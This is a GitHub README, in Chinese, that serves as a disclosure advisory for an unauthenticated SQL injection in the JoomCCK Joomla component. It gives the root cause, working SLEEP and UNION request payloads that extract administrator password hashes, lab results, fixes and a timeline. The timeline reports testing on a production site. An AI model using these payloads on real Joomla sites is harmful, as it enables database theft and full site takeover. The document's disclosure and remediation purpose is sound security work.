KARA-git/CVE-2026-49048-JoomCCK-SQLi
GitHub: KARA-git/CVE-2026-49048-JoomCCK-SQLi
该仓库记录了 Joomla JoomCCK 组件的一个 CVSS 9.8 未授权 SQL 注入漏洞的完整分析、PoC 及修复方案。
Stars: 1 | Forks: 0
# CVE-2026-49048 — JoomCCK 6.4.0 未授权 SQL 注入 (CVSS 9.8)
## 漏洞公告摘要
| 字段 | 值 |
|---|---|
| **公告 ID** | JOOMCCK-2026-001 |
| **CVE** | [CVE-2026-49048](https://www.cve.org/CVERecord?id=CVE-2026-49048) |
| **产品** | JoomCCK (`com_joomcck`) — Joomla 的 Content Construction Kit |
| **供应商** | JoomCoder — https://www.joomcoder.com |
| **受影响版本** | 6.4.0(发现时为最新版本;推测早期的 6.x 版本也受影响) |
| **修复版本** | 撰写本文时尚无修复版本 |
| **类型** | SQL 注入 (CWE-89) 绕过权限控制 (CWE-862) |
| **需要认证** | **不需要 — 未授权、预认证** |
| **严重程度** | **严重 — CVSS 3.1 基础评分 9.8** |
| **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **发现者** | Kamil Soltanov |
| **联系方式** | kamilsoltanov53@gmail.com |
| **发现日期** | 2026-06-22 |
## 摘要
Joomla 4/5/6 组件 **JoomCCK** 暴露了一个前端 controller task (`task=tags.save`),该任务将用户提供的 `tag` 参数直接拼接到 SQL 中,而没有进行转义或参数化。该组件的自定义 MVC dispatcher **没有执行 CSRF token 检查,也没有执行访问控制检查**,使得完全 **未授权的远程攻击者** 能够触发该注入。
成功利用此漏洞可以通过基于 UNION 和基于时间盲注的 SQL 注入,获得对 Joomla 数据库的完全读取权限——包括 `#__users` 的密码哈希值,从而导致 **网站被完全接管**。
## 根本原因 — 两个缺陷的链式利用
### 1. 自定义 MVC Dispatcher 中缺少权限控制 (CWE-862)
`libraries/mint/mvc/controller/base.php` — `MControllerBase::execute()`:
```
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
```
同一类中的 `authorise()` 方法是一个 **空操作 (no-op)**,它无条件返回 `true`。
入口点 `components/com_joomcck/joomcck.php` 调用 `execute(input->get('task'))` **没有任何登录、token 或 ACL 验证** → 每个 public controller method 都是一个未授权任务。
### 2. `tags.save` 中的 SQL 注入 (CWE-89)
`components/com_joomcck/models/tags.php` — `_saveTag()`:
```
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
```
Joomla 的 `STRING` 输入过滤器会剥离 HTML 标签,但原封不动地保留 `"` — 这正是此处用作 SQL 字符串分隔符的字符。跳出带引号字面量即可注入任意 SQL。
## 概念验证
### 基于时间的盲注 (无需先验知识)
```
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
```
预期结果:响应延迟 ≥ 5 秒(每个匹配行)。
### UNION 数据提取
```
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
```
### 本地实验环境证据
完整的 PoC 代码和捕获的证据记录位于 [`poc/`](poc/) 中。
主要实验结果:
| Payload (`tag=`) | 结果 |
|---|---|
| `cars` (无害) | 返回 1 行 — 正常 |
| `zzz" OR "1"="1` | `"` 未转义 → 返回所有行(确认注入成功) |
| `zzz" UNION SELECT id,username,password FROM jos_users-- -` | 管理员密码哈希值被提取 |
| `zzz" OR SLEEP(3)-- -` | 响应延迟 **9.0 秒**(3 行 × 3 秒) |
## 影响
未经身份验证的远程攻击者可以:
- **读取** Joomla 数据库中的任意数据(凭据、session token、PII) → 完全接管管理员权限
- 通过可注入的 `UPDATE` **修改** `#__js_res_tags` 中的行
- 与 `task=tags.delete` 和 `task=records.copy`(同样无需授权 — 相同的 dispatcher 缺陷)进行链式攻击
## 次要发现 — 访问控制失效 (CWE-862, CVSS ~6.5)
相同的 dispatcher 缺陷暴露了其他未授权任务:
| 任务 | 效果 |
|---|---|
| `tags.delete` | 未经身份验证删除任意 tag |
| `records.copy` | 未经身份验证复制任意记录 |
| `ajax.category_records` | 按类别枚举记录 |
| `ajax.tags_list` | 列出所有 tag |
| `ajax.users_filter` | 枚举用户名 |
| `ajax.loadfieldparams` | 泄露字段配置 |
注意:许多 `records.*` 任务确实在内部通过 `_checkAccess()` 强制执行了 ACL,因此 **不** 受此漏洞影响。
## 修复建议
**1. 参数化所有查询** (Joomla query builder):
```
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
```
**2. 在 dispatcher 中强制执行授权** — 在所有改变状态的任务之前添加 `Session::checkToken()` 和 ACL 检查 (`Factory::getApplication()->getIdentity()->authorise(...)`),仿照 `files.upload` 上已有的保护措施。
## 披露时间线
| 日期 | 事件 |
|---|---|
| 2026-06-22 | 通过本地实验室 PoC 发现并验证漏洞 |
| 2026-06-22 | 准备安全公告;报告给 Joomla Security Strike Team (JSST) 和 VEL |
| 2026-06-23 | JSST 确认 — David Jardin,工单 #282420。供应商 (JoomCoder) 通过 JSST 进行协调 |
| 2026-06-25 | 在生产环境的 Joomla 站点上确认野生利用:SLEEP(5) → 响应 115 秒;UNION 触发 MySQL 错误 1222(非破坏性,无数据泄露) |
| 待定 | 供应商补丁 |
| 待定 | CVE 分配 |
| 待定 | 公开披露(90 天协调窗口) |
## 参考
- 供应商: https://www.joomcoder.com
- Joomla VEL (Vulnerable Extensions List): https://vel.joomla.org
- Joomla JSST: security@joomla.org
- CWE-89: SQL 注入
- CWE-862: 缺少权限控制
## 关于研究员
独立安全研究员。
联系方式: kamilsoltanov53@gmail.com
标签:CISA项目, CVE, ffuf, Joomla, Web安全, 多线程, 数字签名, 渗透利用, 漏洞披露, 蓝队分析